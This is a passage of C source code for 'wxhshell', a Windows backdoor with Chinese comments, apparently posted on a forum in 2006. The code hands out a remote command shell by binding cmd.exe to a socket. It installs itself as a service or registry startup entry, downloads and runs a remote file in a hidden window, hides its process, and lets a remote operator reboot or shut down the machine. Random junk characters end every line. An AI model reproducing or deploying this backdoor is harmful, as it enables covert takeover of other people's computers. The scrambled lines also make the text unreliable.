  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uJOJ-5}yt  
  } =2Bg9!zW>  
  else { J+[_Wd  
"nZ*{uv  
    switch(cmd[0]) { #@^t;)|  
  Q&MZN);.  
  // 帮助 0*%Z's\M"  
  case '?': { iDMJicW!+F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :r%P.60H X  
    break; nNrPHNfqD  
  } ~ }F{vm  
  // 安装  =Qh\D  
  case 'i': { NXwz$}}Pp  
    if(Install()) km)zMoE{c{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zfI>qJ+Nqt  
    else 8'~[pMn`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UjaK&K+M?  
    break; Dpvk\t  
    } #6ri-n  
  // 卸载 'pm2n0  
  case 'r': { m6n?bEl6I  
    if(Uninstall()) wm]^3q I2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VGtC)mG8)  
    else eK.e| z|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y|CP;:f;  
    break; EPS={w$'s  
    } ~vs}.kb  
  // 显示 wxhshell 所在路径 QF{4/y^j{  
  case 'p': { %{YN70/  
    char svExeFile[MAX_PATH]; ;w'D4p= P  
    strcpy(svExeFile,"\n\r"); ` jzTmt  
      strcat(svExeFile,ExeFile); MxWy*|J}  
        send(wsh,svExeFile,strlen(svExeFile),0); bSsh^Z  
    break; *\=.<|HZ  
    } ~GTz:nC*  
  // 重启 u@~JiiC%  
  case 'b': { n9@ of  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ELBa}h;  
    if(Boot(REBOOT)) ,z3{u162  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b|cyjDMAA  
    else { XpmS{nb  
    closesocket(wsh); bA= |_Wt  
    ExitThread(0); (:._"jp]  
    } 0dhF&*h|L  
    break; n3}!p'-CC  
    } Of{/t1o?  
  // 关机 KC(xb5x Y  
  case 'd': { NLS%Sq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /3e KN  
    if(Boot(SHUTDOWN)) 8CnRi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^dP KDrKxh  
    else { *:>"q ej  
    closesocket(wsh); mocI&=EF2X  
    ExitThread(0); D@.tkzU@E  
    } _u{c4U0,  
    break; !O-C,uSm  
    } P8^hBv*  
  // 获取shell oo.!.Kv  
  case 's': { _cy2z  
    CmdShell(wsh); A]YV s  
    closesocket(wsh); \]P!.}nX#  
    ExitThread(0); _Dym{!t  
    break; A$#p%y b  
  } Vl_:c75"  
  // 退出 }@Ge}9$ h  
  case 'x': { s:p[DEj-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /rq VB|M  
    CloseIt(wsh); S|apw7C  
    break; m>4ahue$  
    } q6_u@:3u  
  // 离开 j'%$XvI  
  case 'q': { z |a sa*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8'<-:KG  
    closesocket(wsh); )t$,e2FY  
    WSACleanup(); @fs`=lL/  
    exit(1); A3B56K  
    break; vk*=4}:  
        } !PrwH;  
  } Gp4A.\7  
  } N5]0/,I}  
} b=}uiR#  
  // 提示信息 :T]o)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xEf'Bmebk  
} ]xX$<@HR  
  } 0KMctPT]p  
9Xl`pEhC  
  return; y]J89  
} Cl ^\OZN\=  
f>piHh?  
// shell模块句柄 h3*Zfl<]  
int CmdShell(SOCKET sock) 3pK*~VK  
{ L:_bg8eD#  
STARTUPINFO si; u:m]CPz  
ZeroMemory(&si,sizeof(si)); ogL EtqT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cU{e`<xjA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7<%<Ff@^)O  
PROCESS_INFORMATION ProcessInfo; U f|> (C  
char cmdline[]="cmd"; .C2TQ:B,.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kGd<5vCs  
  return 0; iXj o[Rz^C  
} OfctoPP _0  
M7ers|&{  
// 自身启动模式 0PU8 #2pR  
int StartFromService(void) ([-|}  
{ Z^]|o<.<I  
typedef struct DyeQJ7p  
{ YqPQ%  
  DWORD ExitStatus; ;]gP@h/  
  DWORD PebBaseAddress; oqLfesV~  
  DWORD AffinityMask; -RS7h  
  DWORD BasePriority; OCZ[D{i9@  
  ULONG UniqueProcessId; ~zSCg|"r  
  ULONG InheritedFromUniqueProcessId; d}JP!xf%  
}   PROCESS_BASIC_INFORMATION; wk6NG/<  
;9~6_@,@o  
PROCNTQSIP NtQueryInformationProcess; mp9{m`Jb*  
G:pEE:W[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U$ F{nZ1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9lGOWRxR)  
jM$`(Y  
  HANDLE             hProcess; 3G uH857ov  
  PROCESS_BASIC_INFORMATION pbi; 4O;OjUI0a  
_~rI+lA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zo[[>MA  
  if(NULL == hInst ) return 0; ^| /](  
W?eu!wL#p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }~"hC3w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0pJ ":Q/2)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZTU&, 1Y;  
rAs,X  
  if (!NtQueryInformationProcess) return 0; lY{FSGp  
(tCUlX2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =QK$0r]c'k  
  if(!hProcess) return 0; 6_d.Yfbq  
Wm);C~Le  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $KLD2BAL  
I!>\#K  
  CloseHandle(hProcess); {X[ HCfJd  
Ux#x#N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :^Fh!br==  
if(hProcess==NULL) return 0; oyNSh8c7c  
C_4)=#@GU  
HMODULE hMod; ++aL4:  
char procName[255]; )u/H>;L P  
unsigned long cbNeeded; NvHJ3>"%  
BWrv%7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !2z?YZhu  
4<cz--g  
  CloseHandle(hProcess); \mw(cM#:  
-0_d/'d  
if(strstr(procName,"services")) return 1; // 以服务启动 IBQ@{QB  
^':!1  
  return 0; // 注册表启动 j:,NE(DF  
} )r[&RGz6  
hSK;V<$[Z  
// 主模块 ,oNOC3 U  
int StartWxhshell(LPSTR lpCmdLine) M)+$wp  
{ Ndo a4L)$  
  SOCKET wsl; C=s1R;"H  
BOOL val=TRUE; !A>z(eIsv`  
  int port=0; ?UK|>9y}Z  
  struct sockaddr_in door; lj{VL}R  
o/C\d$i'  
  if(wscfg.ws_autoins) Install(); 0b/WpP  
"H&"(=  
port=atoi(lpCmdLine); j:}DBk  
H-3Eo#b#  
if(port<=0) port=wscfg.ws_port; _[Vf547vS  
$8p7D?Y  
  WSADATA data; ?W( 6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K]U;?h&CZc  
M.nvB)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RGn!{=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kKPi:G52F  
  door.sin_family = AF_INET; W`"uu.~f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +uBLk0/)>  
  door.sin_port = htons(port); 2_ :n  
 f>s?4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r}0\}~'?c  
closesocket(wsl); $t5 V=}m>  
return 1; TLd`1Ac  
} [kqYfY?K  
zNY)'  
  if(listen(wsl,2) == INVALID_SOCKET) { _{Sm k [  
closesocket(wsl); M:P0m6ie  
return 1; y$3;$ R^  
} Ja SI^go  
  Wxhshell(wsl);  Ug:\  
  WSACleanup(); Qj3a_p$)P  
,ZQZ}`x(  
return 0; <BO)E(  
!r`,=jK"  
} 1Nu1BLPm  
uZZU{U9h  
// 以NT服务方式启动 7},)]da>,'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w=|GJ 0  
{ ]r3Kg12Mi  
DWORD   status = 0; S}f?.7  
  DWORD   specificError = 0xfffffff;  Y=`  
LGc&o]k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~>0qZ{3J_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hg9CZM ko  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _BFOc>0  
  serviceStatus.dwWin32ExitCode     = 0; -!0_:m3  
  serviceStatus.dwServiceSpecificExitCode = 0; kNT}dv]<  
  serviceStatus.dwCheckPoint       = 0; lpRR&  
  serviceStatus.dwWaitHint       = 0; f30Pi1/h=c  
6YuY|JD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l<Q>N|1#k%  
  if (hServiceStatusHandle==0) return; |ou b!fG4  
rCS#{x  
status = GetLastError(); ^m/14MN|  
  if (status!=NO_ERROR) zE)~0v4  
{ 0 a~HiIh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZhNdB  
    serviceStatus.dwCheckPoint       = 0; BS q)RV/3  
    serviceStatus.dwWaitHint       = 0; +n})Y  
    serviceStatus.dwWin32ExitCode     = status; }<PxWZ`,\  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?:|-Dq,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |v[Rp=?]  
    return; Qu< Bu)`  
  } T6pLoaKu  
~Ph\Sbp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0aoHKeP  
  serviceStatus.dwCheckPoint       = 0; 5/gDK+%4D(  
  serviceStatus.dwWaitHint       = 0; dq IlD!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eZr&x~] -w  
} =<@\,xN>C  
UZEI:k,dv  
// 处理NT服务事件,比如:启动、停止 x f4{r+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $ n,Z  
{ <!pQ  
switch(fdwControl) cst}Ibf i  
{ 9s}Kl($  
case SERVICE_CONTROL_STOP: uY< H#k  
  serviceStatus.dwWin32ExitCode = 0; |3+m%;X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y~)T  
  serviceStatus.dwCheckPoint   = 0; \@}#Gez  
  serviceStatus.dwWaitHint     = 0; OG3/-K8R  
  { b dJ+@r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E42eOGp9i  
  } @<M*qK1h  
  return; dr{y0`CCN  
case SERVICE_CONTROL_PAUSE: -[OXSaf6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Omi^>c4G  
  break; ?EU\}N J  
case SERVICE_CONTROL_CONTINUE: N~pIC2Woo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r}u%#G+K,  
  break; $6F)R|  
case SERVICE_CONTROL_INTERROGATE: xsjO)))f  
  break; pPVRsXy  
}; s cdtWA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Uf*^WW4  
} +Z!;P Z6  
=2y8 CgLj  
// 标准应用程序主函数 \n9A^v`F/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F8e<}v&7R  
{ i#X!#vyc  
^MD;"A<  
// 获取操作系统版本 7n)&FX K`  
OsIsNt=GetOsVer(); uhV0J97  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XYx 6V  
gPzL*6OS A  
  // 从命令行安装 h{ lDxOH*  
  if(strpbrk(lpCmdLine,"iI")) Install(); 44\>gI<  
7@a 0$coP  
  // 下载执行文件 `>D9P_Y"jI  
if(wscfg.ws_downexe) {  n i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aFY_:.o2k`  
  WinExec(wscfg.ws_filenam,SW_HIDE); O3n_N6| q  
} U-0#0}_  
HNa]H;-+5  
if(!OsIsNt) { NYABmI/0c  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ip}Vb6}  
HideProc(); rVQX7l#YI  
StartWxhshell(lpCmdLine); iA!7E;o  
} {dPgf  
else oK+ WF  
  if(StartFromService()) oUx[+Gnv  
  // 以服务方式启动 ^IgY d*5  
  StartServiceCtrlDispatcher(DispatchTable); jnu Y{0(&  
else [ neXFp}S  
  // 普通方式启动 R.j1?\  
  StartWxhshell(lpCmdLine); Fk^3a'/4KJ  
Q\{x)|{$  
return 0; N0n^L|(R  
}
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只看该作者 1 发表于: 2006-10-10
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